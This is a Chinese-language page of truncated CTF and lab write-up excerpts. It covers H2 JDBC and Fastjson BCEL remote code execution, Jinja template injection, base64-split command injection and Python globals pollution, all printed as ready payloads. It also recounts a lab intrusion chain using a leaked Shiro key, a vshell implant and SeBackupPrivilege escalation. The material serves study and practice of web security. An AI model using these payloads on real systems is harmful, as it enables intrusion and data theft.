lit
<?phpclass User{ public $username=0; public $value; public function exec() { $ser = unserialize(serialize(unserialize($this->value))); if ($ser != $this->value && $ser instanceof Access) { include($ser->getToken()); } } public function __destruct() { if ($this->username == “admin”) { $this->exec(); } }}
class Access{
protected $prefix="/";
protected $suffix="/../flag" ...
备忘录
找一个bp的fuzz插件,可以自己写正则然后替换啥的,目前的思路是将包里所有参数里的链接都替换成我的网站,这样在,一般会有url跳转,ssrf,或者帮助csrd(会带有同意上级域名的cookie)的请求
DASCTF2025
泽西岛前面都出来了就差一点点其实思路还是很简单的,就是一些细节出了问题首先其jdbcurl我们是可控的。那么我们就可以命令执行了(后面拼接的参数我们可以使用xxx=\)来使其无效网上的绝大多少payload都如下123jdbc:h2:mem:test;MODE=MSSQLServer;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript java.lang.Runtime.getRuntime().exec("calc.exe")$$;XXX=\
但是这个会有个问题就是无法在jdk17下使用经尝试只能在jdk8下运行。在jdk17下没有一点反应甚至没有抛异常
那么现在我们就需要了解一下INIT参数是干什么的了这个参数其实就是链接时自动运行的sql语句,而h2数据库时可以直接使用sql语句来命令执行的。那么我们就可以直接使用如下的payloa ...
hnctf
Really_Ez_Rceecho -n bas >>/tmp/bascmd=echo -n e64 >>/tmp/bascmd=echo ZmxhZy50eHQ=|dd if=/tmp/bas>cmd=echo bHM=|dd if=/tmp/bas -d >aacmd=echo dGFjIC9mKg==|dd if=/tmp/bas -d >aa
123{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{"\u0061\u0070\u0070":{"\u005f\u0073\u0074\u0061\u0074\u0069\u0063\u005f\u0066\u006f\u006c\u0064\u0065\u0072":"\u002f"}}}
12345678910{ ...
D3CTF
d3model1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950import kerasfrom flask import Flask, request, jsonifyimport osdef is_valid_model(modelname): try: keras.models.load_model(modelname) except: return False return Trueapp = Flask(__name__)@app.route('/', methods=['GET'])def index(): return open('index.html').read()@app.route('/upload', methods=['POST'])def upload_file(): if ...
litCTF
easy_file
admin/password后台是文件上传经过尝试发现是白名单,那么就只好找文件包含或者解析漏洞了。在index的源码发现file查看文件在admin.php使用file参数可以文件包含,文件内容也有过滤直接短标签即可
nest_jsadmin/password
啊{%print(url_for.__globals__.__builtins__['__import__']('os').popen('tac /flag').read())%}
123{"settings":{"theme":"asd","language":"asd","isAdmin":true}}
123{"settings":{"theme":"asd","language":& ...
fastjson&&snakeyaml不出网利用
FastJsonBCEL首先就是要介绍一下BCEL链
apache-BCEL
在类加载时我们可以将,类转为字节码然后实验classloader来加载字节码,像是我们的CC3中的defineCLass。而这个我们要学的这个链,其就是利用加载字节码的方法来命令执行。但又有点不同,因为CC3是直接加载字节码,而我们这个链是利用了forName来加载
链子分析其payload如下1234567{"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource","driverClassLoader": {"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName": "$$BCEL$$$l$8b......"}我们直接看可以发现其实这个很短,就涉及到了两个类org.apache ...
春秋ThermalPower
shiro+heapdump首先先拿fscan扫一下ip
可以发现存在heapdump的泄露
这个页面长的就很想shiro,扫一下指纹
果然是shiro解密一下heapdump,可以得到shiro-key,这样就可以打shiro反序列化了直接上线vshell拿到flag1
工程师个人主机然后再用fscan扫一下c段可以扫到一下ftp。还有一个web,先看一下web
目录结构和ftp一样应该是把ftp的目录也给放到web了再内部资料里发现了admin的账号密码还有内部通知和exel表格看通知我们可以知道账号密码是由姓名+@+工号组成的,二表格是工程师的姓名加工号使用第一个chenhua@0813即可登陆成功
我们可以发现其是再Backup Operators组内的,但是其并没有这给组内的特权,我用网上的提权方法都无法成功,应该是环境的问题,我这里就记录一下这个提权方法
https://github.com/k4sth4/SeBackupPrivilege再GitHub上下载两个dll,进行如下操作就可以备份admin的目录了,而且可以使用dir来 ...














